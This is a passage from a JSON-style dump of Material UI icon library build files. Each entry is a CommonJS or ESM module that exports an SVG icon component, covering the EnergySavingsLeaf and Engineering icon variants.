    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61l-1.68 1.68c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l1.68-1.68C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V5c0-1.1-.9-2-2-2zm3.83 9.26-5.16 4.63c-.16.15-.41.14-.56-.01-.14-.14-.16-.36-.04-.52l2.44-3.33-4.05-.4c-.44-.04-.63-.59-.3-.89l5.16-4.63c.16-.15.41-.14.56.01.14.14.16.36.04.52l-2.44 3.33 4.05.4c.45.04.63.59.3.89\"\n}), 'EnergySavingsLeafRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm-1.5 14-.5-.5 2.5-3.5-5-.5 6-5.5.5.5-2.5 3.5 5 .5z\"\n}), 'EnergySavingsLeafSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm-1.5 14-.5-.5 2.5-3.5-5-.5 6-5.5.5.5-2.5 3.5 5 .5z\"\n}), 'EnergySavingsLeafSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.1 7.01C5.74 8.32 5 10.1 5 12c0 3.86 3.14 7 7 7 1.87 0 3.63-.73 4.95-2.05S19 13.87 19 12V5h-7c-1.84 0-3.58.71-4.9 2.01m6.78.11c.14.14.16.36.04.52l-2.44 3.33 4.05.4c.44.04.63.59.3.89l-5.16 4.63c-.16.15-.41.14-.56-.01-.14-.14-.16-.36-.04-.52l2.44-3.33-4.05-.4c-.44-.04-.63-.59-.3-.89l5.16-4.63c.16-.15.41-.14.56.01\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm7 9c0 1.87-.73 3.63-2.05 4.95S13.87 19 12 19c-3.86 0-7-3.14-7-7 0-1.9.74-3.68 2.1-4.99C8.42 5.71 10.16 5 12 5h7z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.46 12.63 4.05.4-2.44 3.33c-.11.16-.1.38.04.52.15.15.4.16.56.01l5.16-4.63c.33-.3.15-.85-.3-.89l-4.05-.4 2.44-3.33c.11-.16.1-.38-.04-.52-.15-.15-.4-.16-.56-.01l-5.16 4.63c-.32.3-.14.85.3.89\"\n}, \"2\")], 'EnergySavingsLeafTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.1 7.01C5.74 8.32 5 10.1 5 12c0 3.86 3.14 7 7 7 1.87 0 3.63-.73 4.95-2.05S19 13.87 19 12V5h-7c-1.84 0-3.58.71-4.9 2.01m6.78.11c.14.14.16.36.04.52l-2.44 3.33 4.05.4c.44.04.63.59.3.89l-5.16 4.63c-.16.15-.41.14-.56-.01-.14-.14-.16-.36-.04-.52l2.44-3.33-4.05-.4c-.44-.04-.63-.59-.3-.89l5.16-4.63c.16-.15.41-.14.56.01\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm7 9c0 1.87-.73 3.63-2.05 4.95S13.87 19 12 19c-3.86 0-7-3.14-7-7 0-1.9.74-3.68 2.1-4.99C8.42 5.71 10.16 5 12 5h7z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.46 12.63 4.05.4-2.44 3.33c-.11.16-.1.38.04.52.15.15.4.16.56.01l5.16-4.63c.33-.3.15-.85-.3-.89l-4.05-.4 2.44-3.33c.11-.16.1-.38-.04-.52-.15-.15-.4-.16-.56-.01l-5.16 4.63c-.32.3-.14.85.3.89\"\n}, \"2\")], 'EnergySavingsLeafTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Engineering.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m13.1-8.16c.01-.11.02-.22.02-.34s-.01-.23-.03-.34l.74-.58c.07-.05.08-.15.04-.22l-.7-1.21c-.04-.08-.14-.1-.21-.08l-.86.35c-.18-.14-.38-.25-.59-.34l-.13-.93c-.02-.09-.09-.15-.18-.15h-1.4c-.09 0-.16.06-.17.15l-.13.93c-.21.09-.41.21-.59.34l-.87-.35c-.08-.03-.17 0-.21.08l-.7 1.21c-.04.08-.03.17.04.22l.74.58c-.02.11-.03.23-.03.34s.01.23.03.34l-.74.58c-.07.05-.08.15-.04.22l.7 1.21c.04.08.14.1.21.08l.87-.35c.18.14.38.25.59.34l.13.93c.01.09.08.15.17.15h1.4c.09 0 .16-.06.17-.15l.13-.93c.21-.09.41-.21.59-.34l.87.35c.08.03.17 0 .21-.08l.7-1.21c.04-.08.03-.17-.04-.22zm-2.6.91c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m.42 3.93-.5-.87c-.03-.06-.1-.08-.15-.06l-.62.25q-.195-.15-.42-.24l-.09-.66c-.02-.06-.08-.1-.14-.1h-1c-.06 0-.11.04-.12.11l-.09.66c-.15.06-.29.15-.42.24l-.62-.25c-.06-.02-.12 0-.15.06l-.5.87c-.03.06-.02.12.03.16l.53.41c-.01.08-.02.16-.02.24s.01.17.02.24l-.53.41c-.05.04-.06.11-.03.16l.5.87c.03.06.1.08.15.06l.62-.25q.195.15.42.24l.09.66c.01.07.06.11.12.11h1c.06 0 .12-.04.12-.11l.09-.66c.15-.06.29-.15.42-.24l.62.25c.06.02.12 0 .15-.06l.5-.87c.03-.06.02-.12-.03-.16l-.52-.41c.01-.08.02-.16.02-.24s-.01-.17-.02-.24l.53-.41c.05-.04.06-.11.04-.17m-2.42 1.65c-.46 0-.83-.38-.83-.83 0-.46.38-.83.83-.83s.83.38.83.83c0 .46-.37.83-.83.83M4.74 9h8.53c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M9 13c1.86 0 3.41-1.28 3.86-3H5.14c.45 1.72 2 3 3.86 3\"\n}), 'Engineering');"
  },
  {
    "path": "packages/mui-icons-material/lib/Engineering.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m13.1-8.16c.01-.11.02-.22.02-.34s-.01-.23-.03-.34l.74-.58c.07-.05.08-.15.04-.22l-.7-1.21c-.04-.08-.14-.1-.21-.08l-.86.35c-.18-.14-.38-.25-.59-.34l-.13-.93c-.02-.09-.09-.15-.18-.15h-1.4c-.09 0-.16.06-.17.15l-.13.93c-.21.09-.41.21-.59.34l-.87-.35c-.08-.03-.17 0-.21.08l-.7 1.21c-.04.08-.03.17.04.22l.74.58c-.02.11-.03.23-.03.34s.01.23.03.34l-.74.58c-.07.05-.08.15-.04.22l.7 1.21c.04.08.14.1.21.08l.87-.35c.18.14.38.25.59.34l.13.93c.01.09.08.15.17.15h1.4c.09 0 .16-.06.17-.15l.13-.93c.21-.09.41-.21.59-.34l.87.35c.08.03.17 0 .21-.08l.7-1.21c.04-.08.03-.17-.04-.22zm-2.6.91c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m.42 3.93-.5-.87c-.03-.06-.1-.08-.15-.06l-.62.25q-.195-.15-.42-.24l-.09-.66c-.02-.06-.08-.1-.14-.1h-1c-.06 0-.11.04-.12.11l-.09.66c-.15.06-.29.15-.42.24l-.62-.25c-.06-.02-.12 0-.15.06l-.5.87c-.03.06-.02.12.03.16l.53.41c-.01.08-.02.16-.02.24s.01.17.02.24l-.53.41c-.05.04-.06.11-.03.16l.5.87c.03.06.1.08.15.06l.62-.25q.195.15.42.24l.09.66c.01.07.06.11.12.11h1c.06 0 .12-.04.12-.11l.09-.66c.15-.06.29-.15.42-.24l.62.25c.06.02.12 0 .15-.06l.5-.87c.03-.06.02-.12-.03-.16l-.52-.41c.01-.08.02-.16.02-.24s-.01-.17-.02-.24l.53-.41c.05-.04.06-.11.04-.17m-2.42 1.65c-.46 0-.83-.38-.83-.83 0-.46.38-.83.83-.83s.83.38.83.83c0 .46-.37.83-.83.83M4.74 9h8.53c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M9 13c1.86 0 3.41-1.28 3.86-3H5.14c.45 1.72 2 3 3.86 3\"\n}), 'Engineering');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM4.74 9H5c0 2.21 1.79 4 4 4s4-1.79 4-4h.26c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M11 9c0 1.1-.9 2-2 2s-2-.9-2-2zm10.98-2.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.1 3.04-.85.28c-.1-.08-.21-.14-.33-.19l-.18-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37l.66-.59zm-1.9 2.6c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}), 'EngineeringOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM4.74 9H5c0 2.21 1.79 4 4 4s4-1.79 4-4h.26c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M11 9c0 1.1-.9 2-2 2s-2-.9-2-2zm10.98-2.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.1 3.04-.85.28c-.1-.08-.21-.14-.33-.19l-.18-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37l.66-.59zm-1.9 2.6c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}), 'EngineeringOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4M4.74 9h8.53c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M9 13c1.86 0 3.41-1.28 3.86-3H5.14c.45 1.72 2 3 3.86 3m12.98-6.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.1 3.04-.85.28c-.1-.08-.21-.14-.33-.19l-.18-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37l.66-.59zm-1.9 2.6c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}), 'EngineeringRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4M4.74 9h8.53c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M9 13c1.86 0 3.41-1.28 3.86-3H5.14c.45 1.72 2 3 3.86 3m12.98-6.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.1 3.04-.85.28c-.1-.08-.21-.14-.33-.19l-.18-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37l.66-.59zm-1.9 2.6c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}), 'EngineeringRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m4.75-7H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.75v1h9.5zM9 13c1.86 0 3.41-1.28 3.86-3H5.14c.45 1.72 2 3 3.86 3m12.98-6.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.1 3.04-.85.28c-.1-.08-.21-.14-.33-.19l-.18-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37l.66-.59zm-1.9 2.6c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}), 'EngineeringSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m4.75-7H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.75v1h9.5zM9 13c1.86 0 3.41-1.28 3.86-3H5.14c.45 1.72 2 3 3.86 3m12.98-6.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.1 3.04-.85.28c-.1-.08-.21-.14-.33-.19l-.18-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37l.66-.59zm-1.9 2.6c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}), 'EngineeringSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11c1.1 0 2-.9 2-2H7c0 1.1.9 2 2 2M7.5 6c.28 0 .5-.22.5-.5V4.14c-.36.09-.69.23-1 .41v.95c0 .28.22.5.5.5m3 0c.28 0 .5-.22.5-.5v-.95c-.31-.18-.64-.32-1-.41V5.5c0 .28.22.5.5.5M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM4.74 9H5c0 2.21 1.79 4 4 4s4-1.79 4-4h.26c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M11 9c0 1.1-.9 2-2 2s-2-.9-2-2zm10.98-2.77.93-.83-.75-1.3-1.19.39c-.14-.11-.3-.2-.47-.27L20.25 3h-1.5l-.25 1.22q-.255.105-.48.27l-1.18-.39-.75 1.3.93.83c-.02.17-.02.35 0 .52l-.93.85.75 1.3 1.2-.38c.13.1.28.18.43.25l.28 1.23h1.5l.27-1.22c.16-.07.3-.15.44-.25l1.19.38.75-1.3-.93-.85c.03-.19.02-.36.01-.53M19.5 7.75c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m-.23 4.56.66-.59-.54-.93-.85.28c-.1-.08-.21-.14-.33-.19l-.17-.88h-1.07l-.18.87c-.12.05-.24.12-.34.19l-.84-.28-.54.93.66.59c-.01.13-.01.25 0 .37l-.66.61.54.93.86-.27c.1.07.2.13.31.18l.18.88h1.07l.19-.87c.11-.05.22-.11.32-.18l.85.27.54-.93-.66-.61c.01-.13.01-.25 0-.37m-1.77 1.08c-.49 0-.89-.4-.89-.89s.4-.89.89-.89.89.4.89.89-.4.89-.89.89\"\n}, \"1\")], 'EngineeringTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EngineeringTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11c1.1 0 2-.9 2-2H7c0 1.1.9 2 2 2M7.5 6c.28 0 .5-.22.5-.5V4.14c-.36.09-.69.23-1 .41v.95c0 .28.22.5.5.5m3 0c.28 0 .5-.22.5-.5v-.95c-.31-.18-.64-.32-1-.41V5.5c0 .28.22.5.5.5M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM4.74 9H5c0 2.21 1.79 4 4 4s4-1.79 4-4h.26c.27 0 .49-.22.49-.49v-.02c0-.27-.22-.49-.49-.49H13c0-1.48-.81-2.75-2-3.45v.95c0 .28-.22.5-.5.5s-.5-.22-.5-.5V4.14C9.68 4.06 9.35 4 9 4s-.68.06-1 .14V5.5c0 .28-.22.5-.5.5S7 5.78 7 5.5v-.95C5.81 5.25 5 6.52 5 8h-.26c-.27 0-.49.22-.49.49v.03c0 .26.22.48.49.48M11 9c0 1.1-.9 2-2 